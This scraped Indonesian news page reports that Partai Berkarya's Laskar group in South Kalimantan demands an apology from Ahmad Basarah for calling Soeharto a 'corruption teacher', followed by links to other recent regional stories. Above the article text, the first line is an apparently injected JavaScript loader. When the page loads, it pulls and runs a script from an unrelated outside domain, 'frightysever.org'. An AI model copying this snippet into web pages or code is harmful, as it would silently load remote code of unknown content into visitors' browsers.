(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Politik

Laskar Berkarya Kalsel Tuntut Ahmad Basarah Minta Maaf


BANJARMASIN, Ketua Badan Pemenangan Pemilu (Bappilu) Dewan Pimpinan Daerah (DPD) Partai Berkarya Kabupaten Tanah Bumbu Agus Rusmalianoor menegaskan, Laskar berkarya se-Indonesia bersama Dewan Pembina sangat menjunjung tinggi sosok Soeharto.

Karena itulah saat adanya pernyataan kontroversi Ahmad Basarah, Jubir tim kampanye nasional Jokowi-MA yang mengatakan ke media publik bahwa Soeharto merupakan sosok koruptor dan “Guru Korupsi” di Indonesia, pihaknya menuntut yang bersangkutan untuk melakukan permintaan maaf ke publik atas pernyataannya tersebut.

“Bapak Soeharto sebagaimana yang kita ketahui adalah tokoh yang dihormati, Bapak Pembangunan dan pernah menjadi orang nomor satu di Republik ini pada eranya. Kami bersama DPD Laskar Berkarya lainnya telah membentuk Tim Hukum untuk menunut permintaan maaf Ahmad Basarah. Ini perlu ditindak hukum baik secara pidana mau pun perdata atas ujaran kebencian dan fitnah,” ungkap Bendahara Laskar Berkarya Dewan Pimpinan Wilayah (DPW) Kalsel, Senin (3/12/2018).

Menurutnya, Ahmad Basarah wajib meminta maaf secara terbuka di hadapan seluruh keluarga Cendana dan keluarga besar Partai Berkarya serta Laskar Berkarya seluruh Indonesia. Dirinya melanjutkan ketegaskan itu sudah disepakati seluruh DPD dan DPC se-Indonesia yang telah dirembukkan secara jernih tentang sikap yang tak elok dari seorang Jubir TKN Capres-Cawapres.

Pernyataan Ahmad Basarah tersebut tercetus pada Rabu (28/11/2018) lalu, usai menghadiri Megawati Institute di Menteng, Jakarta. Ucapan itu membuat DPP Laskar Berkarya geram dan meminta sesegera mungkin agar Ahmad Basarah mencabut pernyataan yang tak layak dilempar ke publik tersebut.

“Kita sebagai anak bangsa wajib kiranya menjunjung tinggi harkat dan martabat pemimpin negara. Ini demi Indonesia yang lebih baik. Soal etika dan moral di media. Tidak asal bicara dan memberikan pernyataan, memvonis Bapak Pembangunan dengan sebutan Guru Korupsi. Ini perbuatan tercela,” tegasnya. (arief)

Reporter : Arief
Editor : Abi Zarrin Al Ghifari

Desy Arfianty

Recent Posts

244 Jiwa Terdampak Banjir, BPBD Kalsel Segera Kirimkan Bantuan Tepat Sasaran

KANALKALIMANTAN.COM, BANJARBARU - Badan Penanggulangan Bencana Daerah (BPBD) Provinsi Kalimantan Selatan (Kalsel) terus mematangkan persiapan… Read More

50 menit ago

HMI Banjarmasin Peduli Banjir Salurkan Bantuan ke Warga

KANALKALIMANTAN.COM, BANJARMASIN — Himpunan Mahasiswa Islam (HMI) Cabang Banjarmasin menunjukkan kepedulian sosial dengan menyalurkan bantuan… Read More

1 jam ago

Presma UIN Antasari: Rakyat Adalah Pemegang Kedaulatan Tertinggi

KANALKALIMANTAN.COM, BANJARMASIN — Presiden Mahasiswa (Presma) Universitas Islam Negeri (UIN) Antasari Banjarmasin, Yazid Arifani angkat… Read More

4 jam ago

Wacana Pilkada Melalui DPRD, BEM SI Kalsel: Kemunduran Demokrasi

KANALKALIMANTAN.COM, BANJARMASIN — Badan Eksekutif Mahasiswa (BEM) Seluruh Indonesia (SI) Kalimantan Selatan (Kalsel) menyatakan sikap… Read More

6 jam ago

Disperkim Kalsel Tegaskan Komitmen Hunian Layak untuk Masyarakat

KANALKALIMANTAN.COM, BANJARBARU - Dinas Perumahan Rakyat dan Kawasan Permukiman (Disperkim) Provinsi Kalimantan Selatan (Kalsel) menegaskan… Read More

10 jam ago

Satu Suara, Pilkada Lewat DPRD BEM SI Kalsel Sepakat Menolak

KANALKALIMANTAN.COM, BANJARMASIN – Wacana Pemilihan Kepala Daerah (Pilkada) melalui Dewan Perwakilan Rakyat Daerah (DPRD) menuai… Read More

10 jam ago

This website uses cookies.